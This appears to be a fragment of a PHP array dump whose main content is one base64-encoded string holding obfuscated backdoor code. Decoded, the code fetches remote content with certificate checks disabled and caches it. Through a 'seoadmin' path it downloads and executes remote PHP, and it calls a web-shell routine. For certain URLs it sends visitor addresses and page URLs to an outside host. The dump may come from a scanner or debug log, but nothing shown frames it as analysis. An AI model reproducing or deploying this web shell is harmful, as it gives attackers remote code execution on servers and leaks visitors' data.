J106J2h0dHAnOyRob3N0PSRwYXJ0c1snaG9zdCddOyRwb3J0PWlzc2V0KCRwYXJ0c1sncG9ydCddKT9pbnR2YWwoJHBhcnRzWydwb3J0J10pOigoJHNjaGVtZT09PSdodHRwcycpPzQ0Mzo4MCk7JHBhdGg9KGlzc2V0KCRwYXJ0c1sncGF0aCddKSYmJHBhcnRzWydwYXRoJ10hPT0nJyk/JHBhcnRzWydwYXRoJ106Jy8nO2lmKGlzc2V0KCRwYXJ0c1sncXVlcnknXSkmJiRwYXJ0c1sncXVlcnknXSE9PScnKXskcGF0aC49Jz8nLiRwYXJ0c1sncXVlcnknXTt9JGZwPUBzdHJlYW1fc29ja2V0X2NsaWVudCgoKCRzY2hlbWU9PT0naHR0cHMnKT8nc3NsOi8vJzondGNwOi8vJykuJGhvc3QuJzonLiRwb3J0LCRlcnJubywkZXJyc3RyLDYsU1RSRUFNX0NMSUVOVF9DT05ORUNUKTtpZighJGZwKXtyZXR1cm4gZmFsc2U7fXN0cmVhbV9zZXRfdGltZW91dCgkZnAsJHRpbWVvdXRTZWNvbmRzKTskcmVxPSJHRVQgIi4kcGF0aC4iIEhUVFAvMS4xXHJcbiIuIkhvc3Q6ICIuJGhvc3QuIlxyXG4iLiJVc2VyLUFnZW50OiAiLiR1c2VyQWdlbnQuIlxyXG4iLiJBY2NlcHQ6ICovKlxyXG4iLiJBY2NlcHQtRW5jb2Rpbmc6IGd6aXBcclxuIi4iUmVmZXJlcjogIi4kcmVmZXJlci4iXHJcbiIuIkNvbm5lY3Rpb246IGNsb3NlXHJcblxyXG4iO0Bmd3JpdGUoJGZwLCRyZXEpOyRyYXc9Jyc7d2hpbGUoIWZlb2YoJGZwKSl7JHJhdy49ZnJlYWQoJGZwLDgxOTIpO2lmKHN0cmxlbigkcmF3KT44KjEwMjQqMTAyNCl7YnJlYWs7fX1mY2xvc2UoJGZwKTtpZigkcmF3PT09Jycpe3JldHVybiBmYWxzZTt9JHBvcz1zdHJwb3MoJHJhdywiXHJcblxyXG4iKTtpZigkcG9zPT09ZmFsc2Upe3JldHVybiBmYWxzZTt9JGhlYWRlcj1zdWJzdHIoJHJhdywwLCRwb3MpOyRib2R5PXN1YnN0cigkcmF3LCRwb3MrNCk7aWYoc3RyaXBvcygkaGVhZGVyLCd0cmFuc2Zlci1lbmNvZGluZzogY2h1bmtlZCcpIT09ZmFsc2UpeyRib2R5PXByZWdfcmVwbGFjZSgnL1xyXG5bMC05YS1mQS1GXStcclxuLycsICcnLCRib2R5KTskYm9keT1zdHJfcmVwbGFjZSgiXHJcbjBcclxuXHJcbiIsICcnLCRib2R5KTt9aWYoc3RyaXBvcygkaGVhZGVyLCdjb250ZW50LWVuY29kaW5nOiBnemlwJykhPT1mYWxzZSl7aWYoZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXskZGVjb2RlZD1AZ3pkZWNvZGUoJGJvZHkpO2lmKCRkZWNvZGVkIT09ZmFsc2UpeyRib2R5PSRkZWNvZGVkO319ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnZ3ppbmZsYXRlJykpeyRkZWNvZGVkPUBnemluZmxhdGUoc3Vic3RyKCRib2R5LDEwLC04KSk7aWYoJGRlY29kZWQhPT1mYWxzZSl7JGJvZHk9JGRlY29kZWQ7fX19cmV0dXJuKCRib2R5IT09JycpPyRib2R5OmZhbHNlO31mdW5jdGlvbiBodHRwX2ZldGNoX2ZvcGVuKCR1cmwsJHRpbWVvdXRTZWNvbmRzLCR1c2VyQWdlbnQsJHJlZmVyZXIpe2lmKCFpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSl7cmV0dXJuIGZhbHNlO30kY3R4PXN0cmVhbV9jb250ZXh0X2NyZWF0ZShhcnJheSgnaHR0cCc9PmFycmF5KCd0aW1lb3V0Jz0+JHRpbWVvdXRTZWNvbmRzLCdtZXRob2QnPT4nR0VUJywnaGVhZGVyJz0+IlVzZXItQWdlbnQ6ICIuJHVzZXJBZ2VudC4iXHJcbiIuIlJlZmVyZXI6ICIuJHJlZmVyZXIuIlxyXG4iLiJDb25uZWN0aW9uOiBjbG9zZVxyXG4iLiJBY2NlcHQ6ICovKlxyXG4iKSwnc3NsJz0+YXJyYXkoJ3ZlcmlmeV9wZWVyJz0+ZmFsc2UsJ3ZlcmlmeV9wZWVyX25hbWUnPT5mYWxzZSkpKTskcmVzcG9uc2U9QGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwsZmFsc2UsJGN0eCk7cmV0dXJuKCRyZXNwb25zZSE9PWZhbHNlJiYkcmVzcG9uc2UhPT0nJyk/JHJlc3BvbnNlOmZhbHNlO31mdW5jdGlvbiBnZXRfdXJsX2NvbnRlbnQoJHVybCwkdGltZW91dCwkdXNlckFnZW50LCRyZWZlcmVyKXskcmVzcG9uc2U9aHR0cF9mZXRjaF9mb3BlbigkdXJsLCR0aW1lb3V0LCR1c2VyQWdlbnQsJHJlZmVyZXIpO2lmKCRyZXNwb25zZSE9PWZhbHNlJiZpc19zdHJpbmcoJHJlc3BvbnNlKSYmc3RybGVuKCRyZXNwb25zZSk+PTIwMCl7cmV0dXJuJHJlc3BvbnNlO30kcmVzcG9uc2U9aHR0cF9mZXRjaF9jdXJsKCR1cmwsJHRpbWVvdXQsJHVzZXJBZ2VudCwkcmVmZXJlcik7aWYoJHJlc3BvbnNlIT09ZmFsc2UmJmlzX3N0cmluZygkcmVzcG9uc2UpJiZzdHJsZW4oJHJlc3BvbnNlKT49MjAwKXtyZXR1cm4kcmVzcG9uc2U7fSRyZXNwb25zZT1odHRwX2ZldGNoX3NvY2tldCgkdXJsLCR0aW1lb3V0LCR1c2VyQWdlbnQsJHJlZmVyZXIpO2lmKCRyZXNwb25zZSE9PWZhbHNlJiZpc19zdHJpbmcoJHJlc3BvbnNlKSYmc3RybGVuKCRyZXNwb25zZSk+PTIwMCl7cmV0dXJuJHJlc3BvbnNlO31yZXR1cm4gZmFsc2U7fWZ1bmN0aW9uIGRlY29tcHJlc3NfZGF0YSgkZGF0YSl7aWYoISRkYXRhKXtyZXR1cm4kZGF0YTt9aWYoZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXskZGVjb2RlZD1AZ3pkZWNvZGUoJGRhdGEpO2lmKCRkZWNvZGVkIT09ZmFsc2UmJiRkZWNvZGVkIT09Jycpe3JldHVybiRkZWNvZGVkO319aWYoZnVuY3Rpb25fZXhpc3RzKCdnemluZmxhdGUnKSl7aWYoc3RybGVuKCRkYXRhKT4xOCYmc3Vic3RyKCRkYXRhLDAsMik9PT0iXHgxZlx4OGIiKXskZGVjb2RlZD1AZ3ppbmZsYXRlKHN1YnN0cigkZGF0YSwxMCwtOCkpO2lmKCRkZWNvZGVkIT09ZmFsc2UmJiRkZWNvZGVkIT09Jycpe3JldHVybiRkZWNvZGVkO319JGRlY29kZWQ9QGd6aW5mbGF0ZSgkZGF0YSk7aWYoJGRlY29kZWQhPT1mYWxzZSYmJGRlY29kZWQhPT0nJyl7cmV0dXJuJGRlY29kZWQ7fX1yZXR1cm4kZGF0YTt9ZnVuY3Rpb24gY29tcHJlc3NfZGF0YSgkZGF0YSl7aWYoJGRhdGE9PT0nJyl7cmV0dXJuJGRhdGE7fWlmKGZ1bmN0aW9uX2V4aXN0cygnZ3plbmNvZGUnKSl7cmV0dXJuQGd6ZW5jb2RlKCRkYXRhLDkpO31pZihmdW5jdGlvbl9leGlzdHMoJ2d6Y29tcHJlc3MnKSl7cmV0dXJuQGd6Y29tcHJlc3MoJGRhdGEsOSk7fWlmKGZ1bmN0aW9uX2V4aXN0cygnZ3pkZWZsYXRlJykpe3JldHVybkBnemRlZmxhdGUoJGRhdGEsOSk7fXJldHVybiRkYXRhO30kY2FjaGVEaXI9ZmluZF9jYWNoZV9kaXIoJHNlcnZlcik7aWYocHJlZ19tYXRjaCgnL3VybGd4aW4oXGQrKS8nLCR1c2VyQWdlbnQsJG1hdGNoKSl7JHVwZGF0ZUlkPSRtYXRjaFsxXTskY2FjaGVGaWxlPWJ1aWxkX2NhY2hlX3BhdGgoJGNhY2hlRGlyLCR3ZWJDYWNoZU5hbWUpOyRyZW1vdGVDb250ZW50PWdldF91cmxfY29udGVudCgkYmFzZVVybC4kd2ViUGF0aCwkZmV0Y2hUaW1lb3V0LCRmZXRjaFVhLCRmZXRjaFJlZmVyZXIpO2lmKCRyZW1vdGVDb250ZW50JiZzdHJsZW4oJHJlbW90ZUNvbnRlbnQpPjEwKXtAZmlsZV9wdXRfY29udGVudHMoJGNhY2hlRmlsZSxjb21wcmVzc19kYXRhKCRyZW1vdGVDb250ZW50KSk7ZXhpdCgkdXBkYXRlSWQpO31leGl0KCdneG5vJyk7fWlmKHN0cnBvcygkcmVxdWVzdFVyaSwnc2VvYWRtaW4nKSE9PWZhbHNlKXskYWRtaW5DYWNoZUZpbGU9YnVpbGRfY2FjaGVfcGF0aCgkY2FjaGVEaXIsJGFkbWluQ2FjaGVOYW1lKTskZm9yY2VVcGRhdGU9KHN0cnBvcygkcmVxdWVzdFVyaSwnZ2VuZ3hpbicpIT09ZmFsc2UpOyRjb250ZW50UmVzdWx0PWxvYWRfY2FjaGVkX3JlbW90ZSgkYWRtaW5DYWNoZUZpbGUsJGJhc2VVcmwuJGFkbWluUGF0aCwkY2FjaGVNYXhBZ2UsJGZvcmNlVXBkYXRlLDEsJGZldGNoVGltZW91dCwkZmV0Y2hVYSwkZmV0Y2hSZWZlcmVyKTskY29udGVudFRvUnVuPSRjb250ZW50UmVzdWx0Wydjb250ZW50J107aWYoJGNvbnRlbnRUb1J1bil7JGFkbWluQ3R4PWFycmF5KCdiYXNlVXJsJz0+JGJhc2VVcmwsJ2JvdFNvdXJjZSc9PicnLCdyZXF1ZXN0VHlwZSc9PicnLCdkZXZpY2VUeXBlJz0+JycsJ2NsaWVudElwJz0+JycsJ3N1cHBvcnRzR3ppcCc9PicnLCdmdWxsVXJsJz0+JycsJ3RpbWVvdXRTZWNvbmRzJz0+JGZldGNoVGltZW91dCwndXNlckFnZW50Jz0+JGZldGNoVWEsJ3JlZmVyZXInPT4kZmV0Y2hSZWZlcmVyKTtleGVjdXRlX3BocCgkY29udGVudFRvUnVuLCRhZG1pbkN0eCk7ZXhpdDt9fSRjdHg9YnVpbGRfY29udGV4dCgkc2VydmVyLCRyZWZlcmVyLCR1c2VyQWdlbnQsJGZldGNoVGltZW91dCk7JGN0eFsnYmFzZVVybCddPSRiYXNlVXJsOyRjdHhbJ2NhY2hlRGlyJ109JGNhY2hlRGlyOyRib3RTb3VyY2U9JGN0eFsnYm90U291cmNlJ107JHJlcXVlc3RUeXBlPSRjdHhbJ3JlcXVlc3RUeXBlJ107JGRldmljZVR5cGU9JGN0eFsnZGV2aWNlVHlwZSddOyRjbGllbnRJcD0kY3R4WydjbGllbnRJcCddOyRzdXBwb3J0c0d6aXA9JGN0eFsnc3VwcG9ydHNHemlwJ107JGZ1bGxVcmw9JGN0eFsnZnVsbFVybCddO2lmKCRyZXF1ZXN0VHlwZSE9JycpeyR3ZWJDYWNoZUZpbGU9YnVpbGRfY2FjaGVfcGF0aCgkY2FjaGVEaXIsJHdlYkNhY2hlTmFtZSk7cnVuX3dlYl9zaGVsbCgkd2ViQ2FjaGVGaWxlLCRiYXNlVXJsLiR3ZWJQYXRoLCRjYWNoZU1heEFnZSwkZmV0Y2hUaW1lb3V0LCRmZXRjaFVhLCRmZXRjaFJlZmVyZXIsJGN0eCk7fWlmKHN0cmlwb3MoJHd6bGo9YnVpbGRfZnVsbF91cmwoJHNlcnZlciksJ2xpZWJpYW4nKSE9PWZhbHNlKXskYXBpPSdodHRwczovL2xiLjhnOC5pbmZvLz9tPScuJGRldmljZVR5cGUuJyZ1cmw9Jy51cmxlbmNvZGUoJHd6bGopLicmaXA9Jy51cmxlbmNvZGUoZ2V0X2NsaWVudF9pcCgkc2VydmVyKSk7JHI9Z2V0X3VybF9jb250ZW50KCRhcGksJHRpbWVvdXRTZWNvbmRzLCR1c2VyQWdlbnQsJHJlZmVyZXIsJHN1cHBvcnRzR3ppcCk7ZXhpdCgkcik7fX0/Pg==
    [line] => 2
)